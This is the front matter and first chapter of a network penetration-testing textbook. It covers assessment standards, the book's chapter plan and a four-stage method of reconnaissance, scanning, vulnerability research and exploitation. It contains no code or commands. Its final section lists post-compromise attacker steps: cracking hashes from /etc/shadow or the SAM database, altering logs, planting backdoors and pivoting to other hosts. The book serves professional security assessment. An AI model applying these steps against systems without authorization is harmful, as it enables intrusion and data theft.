Table of Contents

Foreword ................................................................. xi

Preface ................................................................. xv

1. Network Security Assessment ........................................ 1
   The Business Benefits 1
   IP: The Foundation of the Internet 2
   Classifying Internet-Based Attackers 2
   Assessment Service Definitions 3
   Network Security Assessment Methodology 4
   The Cyclic Assessment Approach 8

2. Network Security Assessment Platform ................................ 10
   Virtualization Software 10
   Operating Systems 11
   Reconnaissance Tools 13
   Network Scanning Tools 13
   Exploitation Frameworks 14
   Web Application Testing Tools 16

3. Internet Host and Network Enumeration ............................... 17
   Querying Web and Newsgroup Search Engines 18
   Querying Domain WHOIS Registrars 20
   Querying IP WHOIS Registrars 23
   BGP Querying 28
   DNS Querying 30
   Web Server Crawling 37
   Automating Enumeration 37
4. IP Network Scanning ................................................. 42
   ICMP Probing ................................................. 42
   TCP Port Scanning ............................................ 49
   UDP Port Scanning ............................................ 60
   IDS Evasion and Filter Circumvention ...................... 62
   Low-Level IP Assessment .................................... 71
   Network Scanning Recap ...................................... 76
   Network Scanning Countermeasures ......................... 77

5. Assessing Remote Information Services ...................... 79
   Remote Information Services ................................ 79
   DNS ............................................................. 80
   Finger .......................................................... 86
   Auth ............................................................. 88
   NTP .............................................................. 89
   SNMP ............................................................ 91
   LDAP ............................................................. 95
   rwho ............................................................. 98
   RPC rusers ..................................................... 98
   Remote Information Services Countermeasures .............. 99

6. Assessing Web Servers ........................................... 101
   Web Servers .................................................... 101
   Fingerprinting Accessible Web Servers ....................... 102
   Identifying and Assessing Reverse Proxy Mechanisms ....... 107
   Enumerating Virtual Hosts and Web Sites ..................... 113
   Identifying Subsystems and Enabled Components ............. 114
   Investigating Known Vulnerabilities ........................ 132
   Basic Web Server Crawling .................................... 155
   Web Servers Countermeasures ................................ 158

7. Assessing Web Applications .................................... 160
   Web Application Technologies Overview ..................... 160
   Web Application Profiling .................................... 161
   Web Application Attack Strategies ............................ 170
12. **Assessing IP VPN Services** .................................................. 307
   IPsec VPNs ................................................................. 307
   Attacking IPsec VPNs ............................................... 311
   Microsoft PPTP .......................................................... 320
   SSL VPNs ................................................................. 321
   VPN Services Countermeasures ....................................... 329

13. **Assessing Unix RPC Services** ............................................. 330
   Enumerating Unix RPC Services ...................................... 330
   RPC Service Vulnerabilities .......................................... 332
   Unix RPC Services Countermeasures ............................... 339

14. **Application-Level Risks** .................................................. 340
   The Fundamental Hacking Concept ................................ 340
   Why Software Is Vulnerable .......................................... 341
   Network Service Vulnerabilities and Attacks .................... 342
   Classic Buffer-Overflow Vulnerabilities ......................... 346
   Heap Overflows .......................................................... 356
   Integer Overflows ...................................................... 364
   Format String Bugs ..................................................... 367
   Memory Manipulation Attacks Recap ............................... 373
   Mitigating Process Manipulation Risks ............................ 374
   Recommended Secure Development Reading ........................ 376

15. **Running Nessus** ............................................................ 377
   Nessus Architecture ..................................................... 377
   Deployment Options and Prerequisites ............................. 378
   Nessus Installation ...................................................... 379
   Configuring Nessus ..................................................... 383
   Running Nessus .......................................................... 389
   Nessus Reporting ........................................................ 390
   Running Nessus Recap .................................................. 392

16. **Exploitation Frameworks** ................................................ 393
   Metasploit Framework .................................................. 393
   CORE IMPACT ............................................................ 400
   Immunity CANVAS ....................................................... 408
   Exploitation Frameworks Recap ..................................... 414
A. TCP, UDP Ports, and ICMP Message Types ........................................ 415
B. Sources of Vulnerability Information ................................................. 420
C. Exploit Framework Modules .............................................................. 422
Index ........................................................................................................... 453
After managing the performance of over 20,000 infrastructure and applications penetration tests, I have come to realize the importance of technical testing and providing information security assurance.

This book accurately defines a pure technical assessment methodology, giving you the ability to gain a much deeper understanding of the threats, vulnerabilities, and exposures that modern public networks face. The purpose for conducting the tens of thousands of penetration tests during my 20+ years working in information systems security was “to identify technical vulnerabilities in the tested system in order to correct the vulnerability or mitigate any risk posed by it.” In my opinion, this is a clear, concise, and perfectly wrong reason to conduct penetration testing.

As you read this book, you will realize that vulnerabilities and exposures in most environments are due to poor system management, patches not installed in a timely fashion, weak password policy, poor access control, etc. Therefore, the principal reason and objective behind penetration testing should be to identify and correct the underlying systems management process failures that produced the vulnerability detected by the test. The most common of these systems management process failures exist in the following areas:

- System software configuration
- Applications software configuration
- Software maintenance
- User management and administration

Unfortunately, many IT security consultants provide detailed lists of specific test findings and never attempt the higher-order analysis needed to answer the question “Why?” This failure to identify and correct the underlying management cause of the test findings assures that, when the consultant returns to test the client after six months, a whole new set of findings will appear.
If you are an IT professional who is responsible for security, use this book to help you assess your networks; it is effectively a technical briefing of the tools and techniques that your enemies can use against your systems. If you are a consultant performing a security assessment for a client, it is vital that you bear in mind the mismanagement reasons for the vulnerabilities, as discussed here.

Several years ago, my company conducted a series of penetration tests for a very large international client. The client was organized regionally; IT security policy was issued centrally and implemented regionally. We mapped the technical results to the following management categories:

* **OS configuration**
  Vulnerabilities due to improperly configured operating system software

* **Software maintenance**
  Vulnerabilities due to failure to apply patches to known vulnerabilities

* **Password/access control**
  Failure to comply with password policy and improper access control settings

* **Malicious software**
  Existence of malicious software (Trojans, worms, etc.) or evidence of use

* **Dangerous services**
  Existence of vulnerable or easily exploited services or processes

* **Application configuration**
  Vulnerabilities due to improperly configured applications

We then computed the average number of security assessment findings per 100 systems tested for the total organization and produced the chart shown in Figure F-1.

![Average vulnerabilities by management category](image)

*Figure F-1. Average vulnerabilities by management category*
We then conducted a comparison of the performance of each region against the corporate average. The results were quite striking, as shown in Figure F-2 (above the average is bad, with more findings than the corporate average).

![Figure F-2. Regional comparisons against the corporate average](image)

Figure F-2 clearly shows discernible and quantifiable differences in the effectiveness of the security management in each of the regions. For example, the IT manager in Region 3 clearly was not performing software maintenance or password/access controls management, and the IT manager in Region 1 failed to remove unneeded services from his systems.

It is important that, as you read this book, you place vulnerabilities and exposures into categories and look at them in a new light. You can present a report to a client that fully documents the low-level technical issues at hand, but unless the underlying high-level mismanagement issues are tackled, network security won’t improve, and different incarnations of the same vulnerabilities will be found later on. This book will show you how to perform professional Internet-based assessments, but it is vital that you always ask the question, “Why are these vulnerabilities present?”

**About Bob Ayers**

Bob Ayers is currently the Director for Critical Infrastructure Defense with a major IT company based in the United Kingdom. Previously, Bob worked for 29 years with the U.S. Department of Defense (DoD). His principal IT security assignments were with the Defense Intelligence Agency (DIA) where he served as the Chief of the DoD
Intelligence Information System (DoDIIS). During this assignment, Bob developed and implemented new methodologies to ensure the security of over 40,000 computers processing highly classified intelligence information. Bob also founded the DoD computer emergency response capability, known as the Automated Systems Security Incident Support Team (ASSIST). Noticed for his work in DoDIIS, the U.S. Assistant Secretary of Defense (Command, Control, Communications, and Intelligence) selected Bob to create and manage a 155-person, $100-million-per-year DoD-wide program to improve all aspects of DoD IT security. Prior to leaving government service, Bob was the director of the U.S. DoD Defensive Information Warfare program.
It is never impossible for a hacker to break into a computer system, only improbable.

Computer hackers routinely break into corporate, military, online banking, and other networked environments. Even in 2007, as I am writing this second edition of Network Security Assessment, I still perform incident response work in these sectors. As systems generally become more secure, the methods used by these attackers are becoming more advanced, involving intricate repositioning, social engineering, physical compromise (stealing disks from servers or installing rogue wireless access points), and use of specific zero-day exploits to attack peripheral software components such as antivirus or backup solutions that are widely deployed internally within corporate networks.

By the same token, you would expect professional security consultants to be testing for these types of issues. In the vast majority of cases they are not. I know this because at Matta we run a program called Sentinel, which involves testing security assessment vendors for companies in the financial services sector. The Sentinel platform contains a number of vulnerable systems, and vendors are scored based on the vulnerabilities they identify and report.

Since 2004, Matta has processed nearly 30 global penetration testing vendors using Sentinel. In a recent test involving 10 testing providers, we found the following:

- Two vendors failed to scan all 65536 TCP ports
- Five vendors failed to report the publicly accessible MySQL service root password of “password”
- Seven vendors failed to report the easily exploitable, high-risk SSL PCT overflow (MS04-011)

A number of vendors have tested the Sentinel platform on more than one occasion. It is clear that there is a lack of adherence to a strict testing methodology, and test results (in particular, the final report presented to the customer) vary wildly, depending on the consultant involved.
So here I am, in 2007, updating this book with a clear vision: to document a clear and concise Internet-based network security assessment methodology and approach. After running the Sentinel program through a number of iterations, performing a number of challenging penetration tests myself, and working to build a competent team at Matta, I feel it is the right time to update this book.

**Overview**

This book tackles one single area of information security in detail: that of undertaking IP-based network security assessment in a structured and logical way. The methodology presented in this book describes how a determined attacker will scour Internet-based networks in search of vulnerable components (from the network to the application level) and how you can perform exercises to assess your networks effectively. This book doesn’t contain any information that isn’t relevant to IP-based security testing; topics that are out of scope include war dialing and 802.11 wireless assessment.

Assessment is the first step any organization should take to start managing information risks correctly. My background is that of a teenage hacker turned professional security analyst, with a 100 percent success rate over the last nine years in compromising the networks of multinational corporations. I have a lot of fun working in the security industry and feel that now is the time to start helping others by clearly defining an effective best-practice network assessment methodology.

By assessing your networks in the same way that a determined attacker does, you can take a more proactive approach to risk management. Throughout this book, there are bulleted checklists of countermeasures to help you devise a clear technical strategy and fortify your environments at the network and application levels.

**Recognized Assessment Standards**

This book has been written in line with government penetration testing standards used in the United States (NSA IAM) and the United Kingdom (CESG CHECK). Other testing standards associations include MasterCard SDP, CREST, CEH, and OSSTMM. These popular accreditation programs are discussed here.

**NSA IAM**

The United States National Security Agency (NSA) has provided an INFOSEC Assessment Methodology (IAM) framework to help consultants and security professionals outside the NSA provide assessment services to clients in line with a recognized standard. The NSA IAM home page is [http://www.iatrp.com](http://www.iatrp.com).
The IAM framework defines three levels of assessment related to the testing of IP-based computer networks:

**Assessment**
Level 1 involves discovering a cooperative high-level overview of the organization being assessed, including access to policies, procedures, and information flow. No hands-on network or system testing is undertaken at this level.

**Evaluation**
Level 2 is a hands-on cooperative process that involves testing with network scanning, penetration tools, and the use of specific technical expertise.

**Red Team**
Level 3 is noncooperative and external to the target network, involving penetration testing to simulate the appropriate adversary. IAM assessment is nonintrusive, so within this framework, a Level 3 assessment involves full qualification of vulnerabilities.

This book covers only the technical network scanning and assessment techniques used within Levels 2 (Evaluation) and 3 (Red Team) of the IAM framework, since Level 1 assessment involves high-level cooperative gathering of information, such as security policies.

**CESG CHECK**
The Government Communications Headquarters (GCHQ) in the United Kingdom has an information assurance arm known as the Communications and Electronics Security Group (CESG). In the same way that the NSA IAM framework allows security consultants outside the NSA to provide assessment services, CESG operates a program known as CHECK to evaluate and accredit security testing teams within the U.K. to undertake government assessment work. The CESG CHECK home page is accessible at http://www.cesg.gov.uk/site/check/index.cfm.

Unlike the NSA IAM, which covers many aspects of information security (including review of security policy, antivirus, backups, and disaster recovery), CHECK squarely tackles the area of network security assessment. A second program is the CESG Listed Adviser Scheme (CLAS), which covers information security in a broader sense and tackles areas such as ISO/IEC 27002, security policy creation, and auditing.

To correctly accredit CHECK consultants, CESG runs an assault course to test the attack and penetration techniques and methods demonstrated by attendees. The unclassified CESG CHECK assault course lists the areas of technical competence relating to network security assessment as:

- Use of DNS information retrieval tools for both single and multiple records, including an understanding of DNS record structure relating to target hosts
- Use of ICMP, TCP, and UDP network mapping and probing tools
• Demonstration of TCP service banner grabbing
• Information retrieval using SNMP, including an understanding of MIB structure relating to target system configuration and network routes
• Understanding of common weaknesses in routers and switches relating to Telnet, HTTP, SNMP, and TFTP access and configuration

The following are Unix-specific competencies:

• User enumeration via `finger`, `rusers`, `rwho`, and SMTP techniques
• Use of tools to enumerate Remote Procedure Call (RPC) services and demonstrate an understanding of the security implications associated with those services
• Demonstration of testing for Network File System (NFS) weaknesses
• Testing for weaknesses within r-services (`rsh`, `rexec`, and `rlogin`)
• Detection of insecure X Windows servers
• Testing for weaknesses within web, FTP, and Samba services

Here are Windows NT-specific competencies:

• Assessment of NetBIOS and CIFS services to enumerate users, groups, shares, domains, domain controllers, password policies, and associated weaknesses
• Username and password grinding via NetBIOS and CIFS services
• Detecting and demonstrating presence of known security weaknesses within Internet Information Server (IIS) web and FTP service components, and Microsoft SQL Server

This book clearly documents assessments in all these listed areas, along with background information to help you gain a sound understanding of the vulnerabilities presented. Although the CESG CHECK program assesses the methodologies of consultants who wish to perform U.K. government security testing work, internal security teams of organizations and companies outside the United Kingdom should be aware of its framework and common body of knowledge.

**PCI Data Security Standards**

Two security assessment accreditations that have gained popularity in recent years are the MasterCard Site Data Protection (SDP) program, which, along with the VISA Account Information Security (AIS) scheme, form Payment Card Industry (PCI) data security standards. Merchants, processors, and data storage entities that process payment card data must be assessed by a PCI-compliant vendor. The PCI accreditation program assault course is similar to that operated under CESG CHECK and Matta Sentinel, in that consultants must test a network of vulnerable servers and devices, and must accurately find and report the seeded vulnerabilities.
Further details of the PCI data security standards, the MasterCard SDP program, and VISA AIS are available from the following sites:

http://www.pcisecuritystandards.org
http://www.mastercard.com/sdp/
http://www.visaeurope.com/aboutvisa/security/ais/

Other Assessment Standards and Associations

Five assessment standards and associations worth mentioning and keeping up-to-date with are as follows:

- Council of Registered Ethical Security Testers (CREST) (http://www.crestapproved.com)
- TIGER Scheme (http://www.tigerscheme.org)
- EC-Council’s Certified Ethical Hacker (CEH) (http://www.eccouncil.org/CEH.htm)
- Open Source Web Application Security Project (OWASP) (http://www.owasp.org)

Hacking Defined

In this book I define hacking as:

_The art of manipulating a process in such a way that it performs an action that is useful to you._

I think this is a true representation of a hacker in any sense of the word, whether it be a computer programmer who used to hack code on mainframes back in the day so that it would perform actions useful to him, or a modern computer attacker with a very different goal and set of ethics. Please bear in mind that when I use the term **hacker** in this book, I am talking about a network-based assailant trying to compromise the security of a system. I don’t mean to step on the toes of hackers in the traditional sense who have sound ethics and morals.

Organization

This book consists of 16 chapters and 3 appendixes. At the end of each chapter is a checklist that summarizes the threats and techniques described in that chapter along with effective countermeasures. The appendixes provide useful reference material, including listings of TCP and UDP ports, along with ICMP message types and their functions. Details of popular vulnerabilities in Microsoft Windows and Unix-based operating platforms are also listed. Here is a brief description of each chapter and appendix:
Chapter 1, *Network Security Assessment*, discusses the rationale behind network security assessment and introduces security as a process, not a product.

Chapter 2, *Network Security Assessment Platform*, covers the various operating systems and tools that make up a professional security consultant’s attack platform.

Chapter 3, *Internet Host and Network Enumeration*, logically walks through the Internet-based options that a potential attacker has to map your network, from open web searches to DNS sweeping and querying of authoritative name servers.

Chapter 4, *IP Network Scanning*, discusses all known IP network scanning techniques and their relevant applications, also listing tools and systems that support such scanning types. IDS evasion and low-level packet analysis techniques are also covered.

Chapter 5, *Assessing Remote Information Services*, defines the techniques and tools that execute information leak attacks against services such as LDAP, finger, and DNS. Some process manipulation attacks are discussed here when appropriate.

Chapter 6, *Assessing Web Servers*, covers the assessment of underlying web services, including Microsoft IIS, Apache, Tomcat, and subsystems such as OpenSSL, Microsoft FrontPage, and *Outlook Web Access* (OWA).

Chapter 7, *Assessing Web Applications*, covers assessment of various web application technologies, including ASP, JSP, PHP, middleware, and backend databases such as MySQL, Oracle, and Microsoft SQL Server. Also covered here is the use of tools such as Paros and WebScarab.

Chapter 8, *Assessing Remote Maintenance Services*, details the tools and techniques used to correctly assess all common maintenance services (including FTP, SSH, VNC, X Windows, and Microsoft Terminal Services). Increasingly, these services are targets of information leak and brute-force attacks, resulting in a compromise even though the underlying software isn’t strictly vulnerable.

Chapter 9, *Assessing Database Services*, covers IP-based assessment of database servers including Oracle, Microsoft SQL Server, and MySQL.

Chapter 10, *Assessing Windows Networking Services*, tackles security assessment for Windows components (including MSRPC, NetBIOS, and CIFS) in a port-by-port fashion. Information leak, brute-force, and process manipulation attacks against each component are detailed, from the DCE locator service listening on port 135 through to the CIFS direct listener on port 445.

Chapter 11, *Assessing Email Services*, details assessment of SMTP, POP-3, and IMAP services that transport email. Often, these services can fall foul to information-leak and brute-force attacks, and, in some instances, process manipulation.

Chapter 12, *Assessing IP VPN Services*, covers assessment of IP services that provide secure inbound network access, including IPsec, Microsoft PPTP, and SSL VPNs.
Chapter 13, *Assessing Unix RPC Services*, comprehensively covers assessment of Unix RPC services found running on Linux, Solaris, IRIX, and other platforms. RPC services are commonly abused to gain access to hosts, so it is imperative that any accessible services are correctly assessed.

Chapter 14, *Application-Level Risks*, defines the various types of application-level vulnerabilities that hacker tools and scripts exploit. By grouping vulnerabilities in this way, a timeless risk management model can be realized because all future application-level risks will fall into predefined groups.

Chapter 15, *Running Nessus*, details how to set up and configure the Nessus vulnerability scanner to perform effective and fast automated testing of networks.

Chapter 16, *Exploitation Frameworks*, covers the selection and use of exploitation frameworks, including the *Metasploit Framework* (MSF), Immunity CANVAS, and CORE IMPACT. These toolkits allow professional security consultants to reposition and deeply test networks in a highly effective manner.

Appendix A, *TCP, UDP Ports, and ICMP Message Types*, contains definitive listings and details of tools and systems that can be used to easily assess services found.

Appendix B, *Sources of Vulnerability Information*, lists good sources of publicly accessible vulnerability and exploit information so that vulnerability matrices can be devised to quickly identify areas of potential risk when assessing networks and hosts.

Appendix C, *Exploit Framework Modules*, lists the exploit and auxiliary modules found in MSF, IMPACT, and CANVAS, along with GLEG and Argeniss add-on packs.

**Audience**

This book assumes you are familiar with IP and administering Unix-based operating systems, such as Linux or Solaris. A technical network administrator or security consultant should be comfortable with the contents of each chapter. To get the most out of this book, you should be familiar with:

- The IP protocol suite, including TCP, UDP, and ICMP
- Workings of popular Internet network services, including FTP, SMTP, and HTTP
- At least one Unix-like operating system, such as Linux, or a BSD-derived platform like Mac OS X
- Configuring and building Unix-based tools in your environment
- Firewalls and network filtering models (DMZ segments, bastion hosts, etc.)
Mirror Site for Tools Mentioned in This Book

URLs for tools in this book are listed so that you can browse the latest files and papers on each respective site. If you are worried about Trojan horses or other malicious content within these executables, they have been virus-checked and are mirrored at the O’Reilly site http://examples.oreilly.com/networksa/tools/.

Using Code Examples

This book is here to help you get your job done. In general, you may use the code in this book in your programs and documentation. You don’t need to contact us for permission unless you’re reproducing a significant portion of the code. For example, writing a program that uses several chunks of code from this book doesn’t require permission. Selling or distributing a CD-ROM of examples from O’Reilly books does require permission. Answering a question by citing this book and quoting example code doesn’t require permission. Incorporating a significant amount of example code from this book into your product’s documentation does require permission.


If you feel your use of code examples falls outside fair use or the permission given above, feel free to contact us at permissions@oreilly.com.

Conventions Used in This Book

The following typographical conventions are used in this book:

Italic
  Indicates example URLs, passwords, error messages, filenames, emphasis, and the first use of technical terms

Constant width
  Indicates commands, IP addresses, and Unix command-line examples

Constant width italic
  Indicates replaceable text

Constant width bold
  Indicates user input

This icon signifies a tip, suggestion, or general note.
Comments and Questions

Please address comments and questions concerning this book to the publisher:

O'Reilly Media, Inc.
1005 Gravenstein Highway North
Sebastopol, CA 95472
800-998-9938 (in the United States or Canada)
707-829-0515 (international or local)
707-829-0104 (fax)

There’s a web page for this book that lists errata, examples, and any additional information. You can access this page at:

http://www.oreilly.com/catalog/9780596510305

To comment or ask technical questions about this book, send email to:

bookquestions@oreilly.com

For more information about books, conferences, Resource Centers, and the O'Reilly Network, see the O'Reilly web site at:

http://www.oreilly.com

Acknowledgments

As I look back over the last 27 years of my life, I realize that I have met a handful of key individuals to whom I owe a great deal, as I truly believe that I wouldn’t have ended up here without their input in one form or another: Wez Blampied, Emerson Tan, Jeff Fay, Bryan Self, Marc Maiffret, Firas Bushnaq, John McDonald, Geoff Donson, Kevin Chamberlain, Steve McMahon, Ryan Gibson, Nick Baskett, and James Tusini.

I am also extremely grateful for the positive support from the O'Reilly Media team since 2003, including Tatiana Apandi, Nathan Torkington, Jim Sumser, Laurie Petrycki, and Debby Russell.

The talented individuals I work alongside at Matta (http://www.trustmatta.com) deserve a mention, along with my colleagues at DarkStar Technologies. Without the support of the guys I work with, I would never get complex projects like this book finished on time!

Finally, many thanks to Glyn Geoghan for technical review of both editions of this book.
Guest Authors Featured in This Book

A big thanks to the following for ghostwriting and improving the following chapters of this book:

• Roy Hills for overhauling and updating the “Assessing IP VPN Services” chapter (Chapter 12)
• Matt Lewis for writing the “Application-Level Risks” chapter (Chapter 14)
• Justin Clarke for writing the “Running Nessus” chapter (Chapter 15)
• James Tusini for help writing the “Assessing Web Applications” chapter (Chapter 7)

These individuals are recognized specialists in their respective areas and have made excellent contributions to this book. Without them, the book would not be such a comprehensive blueprint for security testing and assessment.
CHAPTER 1

Network Security Assessment

This chapter discusses the rationale behind Internet-based network security assessment and penetration testing at a high level. To retain complete control over your networks and data, you must take a proactive approach to security, an approach that starts with assessment to identify and categorize your risks. Network security assessment is an integral part of any security life cycle.

The Business Benefits

From a commercial standpoint, information assurance is a business enabler. As a security consultant, I have helped a number of clients in the retail sector secure their 802.11 wireless networks used in stores. By designing and implementing secure networks, these retailers can lower their costs and increase efficacy, by implementing queue-busting technologies, for example.

Shortcomings in network security and user adherence to security policy often allow Internet-based attackers to locate and compromise networks. High-profile examples of companies that have fallen victim to such determined attackers in recent times include:

- OpenBSD (http://lists.jammed.com/incidents/2002/08/0000.html)
- NASDAQ (http://www.wired.com/news/politics/0,1283,21762,00.html)
- Playboy Enterprises (http://www.vnunet.com/News/1127004)

These compromises came about in similar ways, involving large losses in some cases. Cryptologic is an online casino gaming provider that lost $1.9 million in a matter of hours to determined attackers. In the majority of high-profile incidents, attackers use a number of the following techniques:

- Compromising poorly configured or protected peripheral systems that are related to the target network
• Directly compromising key network components using private zero-day exploit scripts and tools
• Compromising network traffic using redirection attacks (including ARP spoofing, ICMP redirection, and VLAN hacking)
• Cracking user account passwords and using those credentials to compromise other systems

To protect networks and data from determined attacks, you need assurance and understanding of the technical security of the network, along with adherence to security policy and incident response procedures. In this book, I discuss assessment of technical security and improving the integrity and resilience of IP networks. Taking heed of the advice presented here and acting in a proactive fashion ensures a decent level of network security.

**IP: The Foundation of the Internet**

The *Internet Protocol version 4* (IPv4) is the networking protocol suite all public Internet sites currently use to communicate and transmit data to one another. From a network security assessment methodology standpoint, this book comprehensively discusses the steps that should be taken during the security assessment of any IPv4 network.

IPv6 is an improved protocol that is gaining popularity among academic networks. IPv6 offers a 128-bit network space (3.4 x 10^38 addresses) as opposed to the 32-bit space of IPv4 (only 4 billion addresses) that allows a massive number of devices to have publicly routable addresses. Eventually, the entire Internet will migrate across to IPv6, and every electronic device in your home will have an address.

Due to the large size of the Internet and the sheer number of security issues and vulnerabilities publicized, opportunistic attackers will continue to scour the public IP address space seeking vulnerable hosts. The combination of new vulnerabilities being disclosed on a daily basis, along with the adoption of IPv6, ensures that opportunistic attackers will always be able to compromise a certain percentage of Internet networks.

**Classifying Internet-Based Attackers**

At a high level, Internet-based attackers can be divided into the following two groups:

• Opportunistic attackers who scour large Internet address spaces for vulnerable systems
• Focused attackers who attack select Internet-based systems with a specific goal in mind
Opportunistic threats are continuous, involving attackers using autorooting tools and scripts to compromise vulnerable systems across the Internet. Upon placing a vulnerable, default out-of-the-box server installation on the public Internet, researchers have found that it is usually compromised within an hour by automated software being run in this way.

Most Internet hosts compromised by opportunistic attackers are insecure home user systems. These systems are then turned into zombies that run software to log user keystrokes, launch denial-of-service (DoS) flooding attacks, and serve as a platform to attack and compromise other systems and networks.

Focused attackers adopt a more complex and systematic approach with a clear goal in mind. A focused attacker will exhaustively probe every point of entry into a target network, port-scanning every IP address and assessing each and every network service in depth. Even if this determined attacker can’t compromise the target network on his first attempt, he is aware of areas of weakness. Detailed knowledge of a site’s operating systems and network services allows the attacker to compromise the network upon the release of new exploit scripts in the future.

The networks that are most at risk are those with sizeable numbers of publicly accessible hosts. Having many entry points to a network multiplies the potential for compromise, and managing risk becomes increasingly difficult as the network grows. This is commonly known as the defender’s dilemma; a defender must ensure the integrity of every point of entry, whereas an attacker only needs to gain access through one to be successful.

Assessment Service Definitions

Security vendors offer a number of assessment services branded in a variety of ways. Figure 1-1 shows the key service offerings along with the depth of assessment and relative cost. Each service type can provide varying degrees of security assurance.

Vulnerability scanning uses automated systems (such as Nessus, ISS Internet Scanner, QualysGuard, or eEye Retina) with minimal hands-on qualification and assessment of vulnerabilities. This is an inexpensive way to ensure that no obvious vulnerabilities exist, but it doesn’t provide a clear strategy to improve security.

Network security assessment is an effective blend of automated and hands-on manual vulnerability testing and qualification. The report is usually handwritten, accurate, and concise, giving practical advice that can improve a company’s security.

Web application testing involves post-authentication assessment of web application components, identifying command injection, poor permissions, and other weaknesses within a given web application. Testing at this level involves extensive manual qualification and consultant involvement, and it cannot be easily automated.
Full-blown penetration testing lies outside the scope of this book; it involves multiple attack vectors (e.g., telephone war dialing, social engineering, and wireless testing) to compromise the target environment. Instead, this book fully demonstrates and discusses the methodologies adopted by determined Internet-based attackers to compromise IP networks remotely, which in turn will allow you to improve IP network security.

Onsite auditing provides the clearest picture of network security. Consultants have local system access and run tools on each system capable of identifying anything untoward, including rootkits, weak user passwords, poor permissions, and other issues. 802.11 wireless testing is often performed as part of onsite auditing. Onsite auditing is also outside the scope of this book.

**Network Security Assessment Methodology**

The best practice assessment methodology used by determined attackers and network security consultants involves four distinct high-level components:

- Network reconnaissance to identify IP networks and hosts of interest
- Bulk network scanning and probing to identify potentially vulnerable hosts
- Investigation of vulnerabilities and further network probing by hand
- Exploitation of vulnerabilities and circumvention of security mechanisms

This complete methodology is relevant to Internet-based networks being tested in a blind fashion with limited target information (such as a single DNS domain name). If a consultant is enlisted to assess a specific block of IP space, he skips initial network enumeration and commences bulk network scanning and investigation of vulnerabilities.
Internet Host and Network Enumeration

Various reconnaissance techniques are used to query open sources to identify hosts and networks of interest. These open sources include web and newsgroup search engines, WHOIS databases, and DNS name servers. By querying these sources, attackers can often obtain useful data about the structure of the target network from the Internet without actually scanning the network or necessarily probing it directly.

Initial reconnaissance is very important because it can uncover hosts that aren’t properly fortified against attack. A determined attacker invests time in identifying peripheral networks and hosts, while companies and organizations concentrate their efforts on securing obvious public systems (such as public web and mail servers), and often neglect hosts and networks that lay off the beaten track.

It may well be the case that a determined attacker also enumerates networks of third-party suppliers and business partners who, in turn, have access to the target network space. Nowadays such third parties often have dedicated links to areas of internal corporate network space through VPN tunnels and other links.

Key pieces of information that are gathered through initial reconnaissance include details of Internet-based network blocks, internal IP addresses gathered from DNS servers, insight into the target organization’s DNS structure (including domain names, subdomains, and hostnames), and details of relationships between physical locations.

This information is then used to perform structured bulk network scanning and probing exercises to further assess the target network space and investigate potential vulnerabilities. Further reconnaissance involves extracting user details, including email addresses, telephone numbers, and office addresses.

Bulk Network Scanning and Probing

Upon identifying IP network blocks of interest, analysts should carry out bulk TCP, UDP, and ICMP network scanning and probing to identify accessible hosts and network services (such as HTTP, FTP, SMTP, and POP-3), that can in turn be abused to gain access to trusted network space.

Key pieces of information that are gathered through bulk network scanning include details of accessible hosts and their TCP and UDP network services, along with peripheral information such as details of ICMP messages to which target hosts respond, and insight into firewall or host-based filtering policies.

After gaining insight into accessible hosts and network services, analysts can begin offline analysis of the bulk results and investigate the latest vulnerabilities in accessible network services.
Investigation of Vulnerabilities

New vulnerabilities in network services are disclosed daily to the security community and the underground alike through Internet mailing lists and various public forums. Proof-of-concept tools are often published for use by security consultants, whereas full-blown exploits are increasingly retained by hackers and not publicly disclosed in this fashion.

The following web sites are extremely useful for investigating potential vulnerabilities within network services:

- SecurityFocus ([http://www.securityfocus.com](http://www.securityfocus.com))
- milw0rm ([http://www.milw0rm.com](http://www.milw0rm.com))
- Packet Storm ([http://www.packetstormsecurity.org](http://www.packetstormsecurity.org))
- FrSIRT ([http://www.frirts.com](http://www.frirts.com))
- MITRE Corporation CVE ([http://cve.mitre.org](http://cve.mitre.org))
- NIST National Vulnerability Database ([http://nvd.nist.gov](http://nvd.nist.gov))
- ISS X-Force ([http://xforce.iss.net](http://xforce.iss.net))
- CERT vulnerability notes ([http://www.kb.cert.org/vuls](http://www.kb.cert.org/vuls))

SecurityFocus hosts many useful mailing lists including BugTraq, Vuln-Dev, and PenTest. You can subscribe to these lists by email, and you can browse through the archived posts at the web site. Due to the sheer number of posts to these lists, I personally browse the SecurityFocus mailing list archives every couple of days.

Packet Storm and FrSIRT actively archive underground exploit scripts, code, and other files. If you are in search of the latest public tools to compromise vulnerable services, these sites are good places to start. Often, SecurityFocus provides only proof-of-concept or old exploit scripts that aren’t effective in some cases. FrSIRT runs a commercial subscription service for exploit scripts and tools. You can access and learn more about this service at [http://www.frirts.com/english/services/](http://www.frirts.com/english/services/).

Commercial vulnerability alert feeds are very useful and often provide insight into unpatched zero-day issues. According to Immunity Inc., on average, a given zero-day bug has a lifespan of 348 days before a vendor patch is made available. The following notable commercial feed services are worth investigating (these vendors also run free public feeds):

- 3Com TippingPoint DVLabs ([http://dvlabs.tippingpoint.com](http://dvlabs.tippingpoint.com))

Lately, Packet Storm has not been updated as much as it could be, so I increasingly use the milw0rm web site to check for new exploit scripts, along with browsing the MITRE Corporation CVE list, ISS X-Force, and CERT vulnerability notes lists. These lists allow for effective collation and research of publicly known vulnerabilities so
that exploit scripts can be located or built from scratch. The NIST *National Vulnerability Database* (NVD) is a very useful enhancement to CVE that contains a lot of valuable information.

Investigation at this stage may also mean further qualification of vulnerabilities. It is often the case that bulk network scanning doesn’t give detailed insight into service configuration and certain enabled options, so a degree of manual testing against key hosts is often carried out within this investigation phase.

Key pieces of information that are gathered through investigation include technical details of potential vulnerabilities along with tools and scripts to qualify and exploit the vulnerabilities present.

**Exploitation of Vulnerabilities**

Upon qualifying potential vulnerabilities in accessible network services to a degree that it’s probable that exploit scripts and tools will work correctly, the next step is attacking and exploiting the host. There’s not really a lot to say about exploitation at a high level, except that by exploiting a vulnerability in a network service and gaining unauthorized access to a host, an attacker breaks computer misuse laws in most countries (including the United Kingdom, United States, and many others). Depending on the goal of the attacker, she can pursue many different routes through internal networks, although after compromising a host, she usually undertakes the following:

- Gain superuser privileges on the host
- Download and crack encrypted user-password hashes (the SAM database under Windows and the `/etc/shadow` file under most Unix-based environments)
- Modify logs and install a suitable backdoor to retain access to the host
- Compromise sensitive data (files, databases, and network-mapped NFS or NetBIOS shares)
- Upload and use tools (network scanners, sniffers, and exploit scripts) to compromise other hosts

